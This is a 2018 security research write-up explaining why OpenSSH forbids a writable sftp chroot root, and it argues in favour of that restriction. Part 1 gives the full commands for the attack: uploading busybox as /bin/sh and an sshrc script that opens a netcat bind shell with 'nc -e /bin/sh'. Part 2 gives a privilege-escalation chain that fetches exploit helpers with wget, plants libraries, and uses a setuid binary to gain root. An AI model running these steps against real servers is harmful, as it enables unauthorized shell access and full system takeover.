Introduction

Motivation:

The sftp component from OpenSSH provides a chroot-feature for hardening. It is stated in the documentation, that the chroot root directory must not be writable. This page documents some analysis results following discussion on openssh-dev mailing list. Some people were questioning the read-only restriction. Here should be some arguments, why it still makes sense in 2018. From the sshd documentation, see sshd_config(5):

ChrootDirectory "For safety, it is very important that the directory hierarchy be prevented from modification by other processes on the system (especially those outside the jail). Misconfiguration can lead to unsafe environments which sshd(8) cannot detect."

Looking at the references provided below makes it clear that the discussion in 2018 is far more mature, than the one from 2008. So privilege escalation to root is currently not possible - at least for me - when having a sftp-only chrooted, writable root. But the line to full compromise is very thin and the next kernel flaw is likely to cross it. Conclusio: NEVER EVER THINK ABOUT MAKING CHROOT WRITABLE unless you are the 1 in a million with super-admin powers and love really risky real-world text adventures.

Results

Part 1 - writable root sftp command execution:

The first test focuses on the impact of a writable root in a sftp-only setup. OpenSSH detects that condition and prohibits login to such system per default. Therefore a test chroot was created with bin, dev, etc, lib, lib64, proc, tmp, usr and var directories created and world-writable. Server side configuration in /etc/ssh/sshd_config was:

Match User test ChrootDirectory /var/lib/sftp ForceCommand internal-sftp

In such setup (test system Ubuntu Xenial, patched), sftp code execution is trivial and does not require any custom binaries. A standard statically linked busybox will do:

# cat <<EOF > reverse-shell-script #!/bin/sh touch /tmp/done /dev/null cp /bin/sh /bin/busybox /bin/busybox nc -lp 1234 -e /bin/sh < /dev/null > /dev/null 2>&1 & EOF # chmod 0755 -- reverse-shell-script # sftp test@testhost Enter passphrase: Connected to test@testhost sftp> ls /tmp sftp> put busybox /bin/sh Uploading busybox to /bin/sh busybox 100% 1918KB 14.3MB/s 00:00 sftp> mkdir /etc/ssh sftp> put reverse-shell-script /etc/ssh/sshrc Uploading reverse-shell-script to /etc/ssh/sshrc reverse-shell-script 100% 127 93.1KB/s 00:00 sftp> quit # sftp test@testhost Enter passphrase: Connected to test@testhost sftp> ls /tmp /tmp/done ...

Without any other protection like SELinux et al, syscall tracing clearly shows the commands executed:

11073 chroot("/var/lib/sftp") = 0 ... 11073 <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9998512b90) = 11074 ... 11074 clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9998512b90) = 11075 ... 11075 execve("/bin/sh", ["sh", "-c", "/bin/sh /etc/ssh/sshrc"], [/* 9 vars */]) = 0

Part 2 - leaving with friends AND bonuses:

As soon as there exists a cooperating process outside the chroot, chroots change their personality from one of many useful pieces of sensible service hardening against security threats to the grim reaper of your machine. The simplest variant, not requiring any kernel bugs, SCM_RIGHTS, USERNS or /proc trickery, just requires, that there is a directory on the sftp-chroot mount, that can be written by the outer user. The following steps allow to gain root privileges using the busybox setup from part 1 above using the reverse shell bound to port 1234.

# Compile some helpers using just standard tools. local> wget https://www.halfdog.net/Security/2017/SshAgentGainGroupPrivileges/engine.c local> gcc -Wall -fPIC -c engine.c local> ld -shared -Bdynamic engine.o -L/lib -lc -o engine.so local> wget https://www.halfdog.net/Misc/Utils/SuidExec.c local> gcc -o SuidExec SuidExec.c # Prepare the environment by uploading files via sftp into chroot. sftp> sftp put ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2 sftp> mkdir /lib/x86_64-linux-gnu sftp> put libc.so.6 /lib/x86_64-linux-gnu/libc.so.6 sftp> put engine.so /lib/x86_64-linux-gnu/libcap.so.2 sftp> put SuidExec /bin # Use the reverse connection from part 1. local> nc -v testhost 1234 sftp> mkdir /tmp/x sftp> chdir /tmp/x # Now use the cooperating process on the same machine as the chroot. remote> mv /var/lib/sftp/tmp/x /var/tmp remote> ln -s ../../../../ /var/tmp/x/root # Now escalate to root inside the chroot. sftp> root/bin/ping 2>&1 TestLib.c: Within _init Process uid/gid at load: 1000/0/0 100/100/100 Process uid/gid after change: 0/0/0 100/100/100 sftp> chown 0.0 /bin/SuidExec sftp> chmod 04755 /bin/SuidExec # Now gain root also on outside, too lazy to compile the typical # chdir/chroot variant. remote> /var/lib/sftp/bin/SuidExec /bin/bash remote> id uid=0(root) gid=100(users) groups=100(users) remote> ...

Conclusio: gaining access to from inside a chroot to the outside or from outside to inside using an unprivileged user may give you trivial root privilege escalation.

Part 3 - leaving from chrooted shell:

Some systems might allow both sftp/ssh to chrooted environments. If that jail happens to have /proc mounted, the possiblity to access only a single process outside the root allows to see the content outside. This is not the same as leaving the chroot as required to start the attack from part 2. But as /bin/mount is visible now, attacks like the FIXME-2018-01-10 can be used to gain root inside the jail and then leave.

Luckily, most operating systems provide good resistance against such kind of access via proc. When remembered correctly, one the outside process would have to be "dumpable" from the view of the jailed process. On Ubuntu Xenial for example this is not even true for a process with same uid/gid if it a SUID/SGID step was involved. Also sshd behaves correct: the only place where uid/euid/fsuid are all changed to login user is after chroot(). Not even the /proc/[pid]/exe of a parallel sftp connection can be read. As that process did not switch user, has the same uid/gid but executes a binary from outside the jail, this would be a first step, but is not possible.

Concluding, on a recent kernel, escape is only possible combining vulnerabilities or using tools found on the outside. And of course, a suitable process outside is needed - but it does not have to be active. Maybe a pop, imap or mail server switching uids might suffice.

Part 4 - just leaving sftp:

This would be the nicest, as it just uses part 1 to get code execution, then magic happens, thus ending up at the starting point for part 2 and thus full server compromise. Luckily the sftp programmers did their work well, I did not find any option to evade yet. USERNS trickery does not work as unprivileged users may not create a separate mount namespace when chrooted. Also sftp-server closes all critical file descriptors before chrooting and /proc is not available.

Discussion

Writable root - a bad idea in general:

As shown above, writable root is really a very bad idea. So OpenSSH is completely right in disabling that. Many users will just have one more option to shoot themselves without any real benefit. Even after eliminating the code for the really trivial method presented here, attackers might use many other ways to reach their goals.

This tremendously large attack surface is due to breaking the basic UNIX software design assumption, that / is trusted and only writeable by root (strange coincidence in names). Without such a trust in /, no invoked binary, no shared library to be loaded is safe any more. Hence such use cases were not considered when implementing any standard program or library. So when this design assumption is broken, anything attempting to access usually trusted resources is at risk to fail in unexpected ways or be misused to gain privileges. There are numerous ways to exploit that:

Timeline

Material, References

Last modified 20180113
Contact e-mail: me (%) halfdog.net